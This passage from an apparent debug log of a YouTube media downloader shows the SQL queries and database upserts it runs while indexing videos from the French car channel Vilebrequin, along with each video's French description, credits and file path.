BLEU, ABONNE TOI ET METS LA CLOCHE 🛎️\n\nUn très gros merci à BMW France, et plus particulièrement Pierre, qui nous a mis à disposition cette belle 2002 turbo,\nInstagram : https://www.instagram.com/bmwfrance/?hl=fr\n\nMerci au circuit de l'Ouest Parisien à Dreux pour le prêt du circuit,\nhttps://www.circuitouestparisien.com\nhttps://www.instagram.com/circuitsouestparisien/\n\nEt merci à Anaëlle LE MAGOROU, Lucas MARTIN pour leur travail sur ce tournage.\n\nPour nous suivre sur les réseaux :\n\n📲 INSTAGRAM https://www.instagram.com/vbrequin/\n📲 TWITTER https://twitter.com/VilebrequinAuto\n\n⚠️⚠️ Nos stickers, porte-clés et t-shirts ⚠️⚠️\nhttps://www.shop.benzin.fr/vilebrequin\n\n-------------------------------------------------------------------\n\nMerci au sang de la veine depuis ( presque ) le début :\nhttp://nordvpn.com/1000tipla\n\n-------------------------------------------------------------------\n\nMontage : Pierre Bouillot \nInsta : https://www.instagram.com/p.b_prod/?hl=fr\n\n-------------------------------------------------------------------\n\nMerci de nous contacter par mail UNIQUEMENT pour des raisons professionnelles (propositions de voiture que vous possédez ou partenariats commerciaux uniquement), les autres sujets ne seront pas répondus (on a les réseaux pour ça)\n\n📩 MAIL : vbrequin@gmail.com\n\nPour les propositions de voitures à essayer, merci de joindre une photo et une localisation, bisous\n\n--------------------------------------------------------------------\n\nMerci à tous les contributeurs depuis le début de la chaîne, vous êtes des dinguos.\n\nGros bisous\n\n#bmw #2002 #TURBO", "Essai BMW 2002 Turbo : TURBOOOO", "ACa7UVXrtvw", 1806, false, "https://www.youtube.com/watch?v=ACa7UVXrtvw", "/downloads/Vilebrequin/2023-09-21 Essai BMW 2002 Turbo : TURBOOOO/Essai BMW 2002 Turbo : TURBOOOO [ACa7UVXrtvw].mkv", false, 1, ~U[2023-09-21 16:15:00Z]] 07:41:38.834 [debug] QUERY OK source="sources" db=0.8ms queue=0.1ms idle=353.1ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 07:41:38.835 [debug] QUERY OK source="media_profiles" db=1.0ms queue=0.1ms idle=12.2ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 07:41:38.837 [debug] QUERY OK source="media_items" db=1.0ms queue=0.1ms idle=12.7ms SELECT 1 FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) LIMIT 1 [12] 07:41:38.837 [debug] Current batch of media processed. Will check again in 1000ms 07:41:39.838 [debug] Current batch of media processed. Will check again in 1000ms 07:41:40.840 [debug] Current batch of media processed. Will check again in 1000ms 07:41:41.841 [debug] Current batch of media processed. Will check again in 1000ms 07:41:42.843 [debug] FileFollowerServer Handler: Got media attributes: %{"aspect_ratio" => 1.78, "description" => "👍 POUCE BLEU, ABONNE TOI ET METS LA CLOCHE 🛎️\n\nPour nous suivre sur les réseaux :\n\n📲 INSTAGRAM https://www.instagram.com/vbrequin/\n📲 TWITTER https://twitter.com/VilebrequinAuto\n\n⚠️⚠️ Nos stickers, porte-clés et t-shirts ⚠️⚠️\nhttps://www.shop.benzin.fr/vilebrequin\n\n-------------------------------------------------------------------\n\nMerci aux zouzous de Benzin pour le fond vert\nLe site : https://benzin.fr\nInstagram : https://www.instagram.com/benzinworld/\nFacebook : https://www.facebook.com/benzinworld/\n\nMerci au sang de la veine depuis ( presque ) le début :\nhttp://nordvpn.com/1000tipla\n\n-------------------------------------------------------------------\n\nMontage : Lukasz Sledziewski \nTwitter : https://twitter.com/LukyKRN\n\n-------------------------------------------------------------------\n\nMerci de nous contacter par mail UNIQUEMENT pour des raisons professionnelles (propositions de voiture que vous possédez ou partenariats commerciaux uniquement), les autres sujets ne seront pas répondus (on a les réseaux pour ça)\n\n📩 MAIL : vbrequin@gmail.com\n\nPour les propositions de voitures à essayer, merci de joindre une photo et une localisation, bisous\n\n--------------------------------------------------------------------\n\nMerci à tous les contributeurs depuis le début de la chaîne, vous êtes des dinguos.\n\nGros bisous\n\n#bmw #motorsport #driftsurleparkingducora", "duration" => 3677, "filename" => "/downloads/Vilebrequin/2023-09-14 Vultech : BMW ( enfin )/Vultech : BMW ( enfin ) [FaMFJhFTj3A].mkv", "id" => "FaMFJhFTj3A", "live_status" => "not_live", "original_url" => "https://www.youtube.com/watch?v=FaMFJhFTj3A", "playlist_index" => 13, "timestamp" => 1694708100, "title" => "Vultech : BMW ( enfin )", "upload_date" => "20230914"} 07:41:42.845 [debug] QUERY OK source="sources" db=1.3ms queue=0.1ms idle=688.5ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" IN (?)) [1] 07:41:42.846 [debug] QUERY OK source="sources" db=0.5ms idle=366.0ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 07:41:42.850 [debug] QUERY OK source="media_items" db=3.9ms idle=366.9ms SELECT min(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2023-09-14 16:15:00Z], 1] 07:41:42.855 [debug] QUERY OK source="media_items" db=3.6ms idle=371.5ms INSERT INTO "media_items" AS m0 ("description","title","uuid","media_id","duration_seconds","livestream","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","source_id","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "duration_seconds" = ?, "livestream" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "source_id" = ?, "uploaded_at" = ? RETURNING "id" ["👍 POUCE BLEU, ABONNE TOI ET METS LA CLOCHE 🛎️\n\nPour nous suivre sur les réseaux :\n\n📲 INSTAGRAM https://www.instagram.com/vbrequin/\n📲 TWITTER https://twitter.com/VilebrequinAuto\n\n⚠️⚠️ Nos stickers, porte-clés et t-shirts ⚠️⚠️\nhttps://www.shop.benzin.fr/vilebrequin\n\n-------------------------------------------------------------------\n\nMerci aux zouzous de Benzin pour le fond vert\nLe site : https://benzin.fr\nInstagram : https://www.instagram.com/benzinworld/\nFacebook : https://www.facebook.com/benzinworld/\n\nMerci au sang de la veine depuis ( presque ) le début :\nhttp://nordvpn.com/1000tipla\n\n-------------------------------------------------------------------\n\nMontage : Lukasz Sledziewski \nTwitter : https://twitter.com/LukyKRN\n\n-------------------------------------------------------------------\n\nMerci de nous contacter par mail UNIQUEMENT pour des raisons professionnelles (propositions de voiture que vous possédez ou partenariats commerciaux uniquement), les autres sujets ne seront pas répondus (on a les réseaux pour ça)\n\n📩 MAIL : vbrequin@gmail.com\n\nPour les propositions de voitures à essayer, merci de joindre une photo et une localisation, bisous\n\n--------------------------------------------------------------------\n\nMerci à tous les contributeurs depuis le début de la chaîne, vous êtes des dinguos.\n\nGros bisous\n\n#bmw #motorsport #driftsurleparkingducora", "Vultech : BMW ( enfin )", "80c6251f-6228-4de9-a489-e87188d2519e", "FaMFJhFTj3A", 3677, false, "https://www.youtube.com/watch?v=FaMFJhFTj3A", 13, "/downloads/Vilebrequin/2023-09-14 Vultech : BMW ( enfin )/Vultech : BMW ( enfin ) [FaMFJhFTj3A].mkv", false, false, false, 1, [], 98, ~U[2023-09-14 16:15:00Z], ~U[2026-04-19 05:41:42Z], ~U[2026-04-19 05:41:42Z], "👍 POUCE BLEU, ABONNE TOI ET METS LA CLOCHE 🛎️\n\nPour nous suivre sur les réseaux :\n\n📲 INSTAGRAM https://www.instagram.com/vbrequin/\n📲 TWITTER https://twitter.com/VilebrequinAuto\n\n⚠️⚠️ Nos stickers, porte-clés et t-shirts ⚠️⚠️\nhttps://www.shop.benzin.fr/vilebrequin\n\n-------------------------------------------------------------------\n\nMerci aux zouzous de Benzin pour le fond vert\nLe site : https://benzin.fr\nInstagram : https://www.instagram.com/benzinworld/\nFacebook : https://www.facebook.com/benzinworld/\n\nMerci au sang de la veine depuis ( presque ) le début :\nhttp://nordvpn.com/1000tipla\n\n-------------------------------------------------------------------\n\nMontage : Lukasz Sledziewski \nTwitter : https://twitter.com/LukyKRN\n\n-------------------------------------------------------------------\n\nMerci de nous contacter par mail UNIQUEMENT pour des raisons professionnelles (propositions de voiture que vous possédez ou partenariats commerciaux uniquement), les autres sujets ne seront pas répondus (on a les réseaux pour ça)\n\n📩 MAIL : vbrequin@gmail.com\n\nPour les propositions de voitures à essayer, merci de joindre une photo et une localisation, bisous\n\n--------------------------------------------------------------------\n\nMerci à tous les contributeurs depuis le début de la chaîne, vous êtes des dinguos.\n\nGros bisous\n\n#bmw #motorsport #driftsurleparkingducora", "Vultech : BMW ( enfin )", "FaMFJhFTj3A", 3677, false, "https://www.youtube.com/watch?v=FaMFJhFTj3A", "/downloads/Vilebrequin/2023-09-14 Vultech : BMW ( enfin )/Vultech : BMW ( enfin ) [FaMFJhFTj3A].mkv", false, 1, ~U[2023-09-14 16:15:00Z]] 07:41:42.856 [debug] QUERY OK source="sources" db=1.3ms queue=0.1ms idle=375.9ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 07:41:42.861 [debug] QUERY OK source="media_profiles" db=4.1ms idle=12.1ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 07:41:42.863 [debug] QUERY OK source="media_items" db=1.1ms idle=15.9ms SELECT 1 FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) LIMIT 1 [13] 07:41:42.865 [debug] Current batch of media processed. Will check again in 1000ms 07:41:43.866 [debug] Current batch of media processed. Will check again in 1000ms 07:41:44.867 [debug] Current batch of media processed. Will check again in 1000ms 07:41:45.868 [debug] Current batch of media processed. Will check again in 1000ms 07:41:46.869 [debug] FileFollowerServer Handler: Got media attributes: %{"aspect_ratio" => 1.78, "description" => "Merci à NordVPN pour leur soutien, pour toute souscription à l’abonnement 2 ans, obtenez 4 mois supplémentaires gratuits. Profitez-en dès maintenant : 👉 https://nordvpn.com/vilebrequin\n\nMerci à Joyca et Seb pour leur présence ( et le sacrifice de leur vie )\n\nChaîne de Joyca : https://www.youtube.com/@Joyca\nChaine de Seb : https://www.youtube.com/@SEBFRIT\n\n-------------------------------------------------------------------\n\nUn immense merci à toute l'équipe de tournage :\n\nProduction : Anaëlle LE MAGOROU et Cassandra BORIE\nAgent : Joséphine GODARD\nOPV : Lucas MARTIN, Hugo LECLERC et Pierre BOUILLOT\nAssistant OPV : Axel ROGUET\nSon : Alan POIRIER\nDrone : Adrien LOISON\nRégisseur plateau : Baptiste SEYSEN et Alexandra COLLARO\nMontage : Baptiste Moal ( https://www.instagram.com/bapt.ml/ )\n\nEt la spéciale dédicace aux dépanneurs Joseph SHUMAN et Arthur MORAULT \nInstagram : https://www.instagram.com/lafabriqueauto/\n\nAinsi qu'à l'entreprise NOBLET pour le salon suspendu et ce canapé plus que confortable. \n\n-------------------------------------------------------------------\n👍 POUCE BLEU, ABONNE TOI ET METS LA CLOCHE 🛎️\n\nPour nous suivre sur les réseaux :\n\n📲 INSTAGRAM https://www.instagram.com/vbrequin/\n📲 TWITTER https://twitter.com/VilebrequinAuto\n\n⚠️⚠️ Nos stickers, porte-clés et t-shirts ⚠️⚠️\nhttps://www.shop.benzin.fr/vilebrequin\n\n-------------------------------------------------------------------\n\nMerci de nous contacter par mail UNIQUEMENT pour des raisons professionnelles (propositions de voiture que vous possédez ou partenariats commerciaux uniquement), les autres sujets ne seront pas répondus (on a les réseaux pour ça)\n\n📩 MAIL : vbrequin@gmail.com\n\nPour les propositions de voitures à essayer, merci de joindre une photo et une localisation, bisous\n\n--------------------------------------------------------------------\n\nMerci à tous les contributeurs depuis le début de la chaîne, vous êtes des dinguos.\n\nGros bisous\n\n#CONCEPT #DESTRUCTION #MUTUELLE", "duration" => 2986, "filename" => "/downloads/Vilebrequin/2023-09-07 IL N’EN RESTERA QU’UN (ft. Joyca & Seb la frite)/IL N’EN RESTERA QU’UN (ft. Joyca & Seb la frite) [hBV07QvRuoA].mkv", "id" => "hBV07QvRuoA", "live_status" => "not_live", "original_url" => "https://www.youtube.com/watch?v=hBV07QvRuoA", "playlist_index" => 14, "timestamp" => 1694103303, "title" => "IL N’EN RESTERA QU’UN (ft. Joyca & Seb la frite)", "upload_date" => "20230907"} 07:41:46.870 [debug] QUERY OK source="sources" db=0.6ms idle=1390.7ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" IN (?)) [1] 07:41:46.873 [debug] QUERY OK source="sources" db=1.7ms queue=0.1ms idle=693.5ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 07:41:46.879 [debug] QUERY OK source="media_items" db=3.9ms idle=395.5ms SELECT min(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2023-09-07 16:15:03Z], 1] 07:41:46.929 [debug] QUERY OK source="media_items" db=49.4ms idle=400.0ms INSERT INTO "media_items" AS m0 ("description","title","uuid","media_id","duration_seconds","livestream","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","source_id","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "duration_seconds" = ?, "livestream" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "source_id" = ?, "uploaded_at" = ? RETURNING "id" ["Merci à NordVPN pour leur soutien, pour toute souscription à l’abonnement 2 ans, obtenez 4 mois supplémentaires gratuits. Profitez-en dès maintenant : 👉 https://nordvpn.com/vilebrequin\n\nMerci à Joyca et Seb pour leur présence ( et le sacrifice de leur vie )\n\nChaîne de Joyca : https://www.youtube.com/@Joyca\nChaine de Seb : https://www.youtube.com/@SEBFRIT\n\n-------------------------------------------------------------------\n\nUn immense merci à toute l'équipe de tournage :\n\nProduction : Anaëlle LE MAGOROU et Cassandra BORIE\nAgent : Joséphine GODARD\nOPV : Lucas MARTIN, Hugo LECLERC et Pierre BOUILLOT\nAssistant OPV : Axel ROGUET\nSon : Alan POIRIER\nDrone : Adrien LOISON\nRégisseur plateau : Baptiste SEYSEN et Alexandra COLLARO\nMontage : Baptiste Moal ( https://www.instagram.com/bapt.ml/ )\n\nEt la spéciale dédicace aux dépanneurs Joseph SHUMAN et Arthur MORAULT \nInstagram : https://www.instagram.com/lafabriqueauto/\n\nAinsi qu'à l'entreprise NOBLET pour le salon suspendu et ce canapé plus que confortable. \n\n-------------------------------------------------------------------\n👍 POUCE BLEU, ABONNE TOI ET METS LA CLOCHE 🛎️\n\nPour nous suivre sur les réseaux :\n\n📲 INSTAGRAM https://www.instagram.com/vbrequin/\n📲 TWITTER https://twitter.com/VilebrequinAuto\n\n⚠️⚠️ Nos stickers, porte-clés et t-shirts ⚠️⚠️\nhttps://www.shop.benzin.fr/vilebrequin\n\n-------------------------------------------------------------------\n\nMerci de nous contacter par mail UNIQUEMENT pour des raisons professionnelles (propositions de voiture que vous possédez ou partenariats commerciaux uniquement), les autres sujets ne seront pas répondus (on a les réseaux pour ça)\n\n📩 MAIL : vbrequin@gmail.com\n\nPour les propositions de voitures à essayer, merci de joindre une photo et une localisation, bisous\n\n--------------------------------------------------------------------\n\nMerci à tous les contributeurs depuis le début de la chaîne, vous êtes des dinguos.\n\nGros bisous\n\n#CONCEPT #DESTRUCTION #MUTUELLE", "IL N’EN RESTERA QU’UN (ft. Joyca & Seb la frite)", "49992150-8095-4729-b876-28f82c7630bf", "hBV07QvRuoA", 2986, false, "https://www.youtube.com/watch?v=hBV07QvRuoA", 14, "/downloads/Vilebrequin/2023-09-07 IL N’EN RESTERA QU’UN (ft. Joyca & Seb la frite)/IL N’EN RESTERA QU’UN (ft. Joyca & Seb la frite) [hBV07QvRuoA].mkv", false, false, false, 1, [], 98, ~U[2023-09-07 16:15:03Z], ~U[2026-04-19 05:41:46Z], ~U[2026-04-19 05:41:46Z], "Merci à NordVPN pour leur soutien, pour toute souscription à l’abonnement 2 ans, obtenez 4 mois supplémentaires gratuits. Profitez-en dès maintenant : 👉 https://nordvpn.com/vilebrequin\n\nMerci à Joyca et Seb pour leur présence ( et le sacrifice de leur vie )\n\nChaîne de Joyca : https://www.youtube.com/@Joyca\nChaine de Seb : https://www.youtube.com/@SEBFRIT\n\n-------------------------------------------------------------------\n\nUn immense merci à toute l'équipe de tournage :\n\nProduction : Anaëlle LE MAGOROU et Cassandra BORIE\nAgent : Joséphine GODARD\nOPV : Lucas MARTIN, Hugo LECLERC et Pierre BOUILLOT\nAssistant OPV : Axel ROGUET\nSon : Alan POIRIER\nDrone : Adrien LOISON\nRégisseur plateau : Baptiste SEYSEN et Alexandra COLLARO\nMontage : Baptiste Moal ( https://www.instagram.com/bapt.ml/ )\n\nEt la spéciale dédicace aux dépanneurs Joseph SHUMAN et Arthur MORAULT \nInstagram : https://www.instagram.com/lafabriqueauto/\n\nAinsi qu'à l'entreprise NOBLET pour le salon suspendu et ce canapé plus que confortable. \n\n-------------------------------------------------------------------\n👍 POUCE BLEU, ABONNE TOI ET METS LA CLOCHE 🛎️\n\nPour nous suivre sur les réseaux :\n\n📲 INSTAGRAM https://www.instagram.com/vbrequin/\n📲 TWITTER https://twitter.com/VilebrequinAuto\n\n⚠️⚠️ Nos stickers, porte-clés et t-shirts ⚠️⚠️\nhttps://www.shop.benzin.fr/vilebrequin\n\n-------------------------------------------------------------------\n\nMerci de nous contacter par mail UNIQUEMENT pour des raisons professionnelles (propositions de voiture que vous possédez ou partenariats commerciaux uniquement), les autres sujets ne seront pas répondus (on a les réseaux pour ça)\n\n📩 MAIL : vbrequin@gmail.com\n\nPour les propositions de voitures à essayer, merci de joindre une photo et une localisation, bisous\n\n--------------------------------------------------------------------\n\nMerci à tous les contributeurs depuis le début de la chaîne, vous êtes des dinguos.\n\nGros bisous\n\n#CONCEPT #DESTRUCTION #MUTUELLE", "IL N’EN RESTERA QU’UN (ft. Joyca & Seb la frite)", "hBV07QvRuoA", 2986, false, "https://www.youtube.com/watch?v=hBV07QvRuoA", "/downloads/Vilebrequin/2023-09-07 IL N’EN RESTERA QU’UN (ft. Joyca & Seb la frite)/IL N’EN RESTERA QU’UN (ft. Joyca & Seb la frite) [hBV07QvRuoA].mkv", false, 1, ~U[2023-09-07 16:15:03Z]] 07:41:46.931 [debug] QUERY OK source="sources" db=1.1ms idle=450.4ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 07:41:46.933 [debug] QUERY OK source="media_profiles" db=2.0ms queue=0.1ms idle=60.9ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 07:41:46.937 [debug] QUERY OK source="media_items" db=2.7ms idle=61.2ms SELECT 1 FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) LIMIT 1 [14] 07:41:46.937 [debug] Current batch of media processed. Will check again in 1000ms 07:41:47.938 [debug] Current batch of media processed. Will check again in 1000ms 07:41:48.940 [debug] Current batch of media processed. Will check again in 1000ms 07:41:49.941 [debug] FileFollowerServer Handler: Got media attributes: %{"aspect_ratio" => 1.78, "description" => "Merci à Rhinoshield pour leur soutien : -10% avec le code VILEBREQUIN ( valable 48h )\n👉👉👉 https://url.rhinoshield.fr/vilebrequin-aquastand \n\n-------------------------------------------------------------------\n\nUn IMMENSE merci au L' Aventure Citroën qui nous a mis à disposition cette exceptionnelle C6.\nCette C6 est visible dans l'exposition à Aulnay-sous-bois (93), billets dispos ci-dessous 👇\n\nLe site : https://laventure-association.com/laventure-citroen/\nInstagram : https://www.instagram.com/citroenheritage/\n\nMerci au circuit de l'Ouest Parisien à Dreux pour le prêt du circuit\nhttps://www.circuitouestparisien.com\nhttps://www.instagram.com/circuitsouestparisien/\n\nEt merci à Anaëlle LE MAGOROU, Lucas MARTIN et Cassandra BORIE pour leur aide sur ce tournage\n\n-------------------------------------------------------------------\n\n👍 POUCE BLEU, ABONNE TOI ET METS LA CLOCHE 🛎️\n\nPour nous suivre sur les réseaux :\n\n📲 INSTAGRAM https://www.instagram.com/vbrequin/\n📲 TWITTER https://twitter.com/VilebrequinAuto\n\n⚠️⚠️ Nos stickers, porte-clés et t-shirts ⚠️⚠️\nhttps://www.shop.benzin.fr/vilebrequin\n\n-------------------------------------------------------------------\n\nMontage : Baptiste Moal\nInstagram : @alkalineproductions\n\nMontage sponso : Robin Danos\nInstagram : @robin_danos\n\n-------------------------------------------------------------------\n\nMerci de nous contacter par mail UNIQUEMENT pour des raisons professionnelles (propositions de voiture que vous possédez ou partenariats commerciaux uniquement), les autres sujets ne seront pas répondus (on a les réseaux pour ça)\n\n📩 MAIL : vbrequin@gmail.com\n\nPour les propositions de voitures à essayer, merci de joindre une photo et une localisation, bisous\n\nMerci au sang de la veine depuis ( presque ) le début :\nhttp://nordvpn.com/1000tipla\n\n--------------------------------------------------------------------\n\nMerci à tous les contributeurs depuis le début de la chaîne, vous êtes des dinguos.\n\nGros bisous\n\n#C6 #FLOP #PASMALNON", "duration" => 1962, "filename" => "/downloads/Vilebrequin/2023-07-27 Essai Citroën C6 : Pas mal non ? C'est Français/Essai Citroën C6 : Pas mal non ? C'est Français [d3t6QXY-1vg].mkv", "id" => "d3t6QXY-1vg", "live_status" 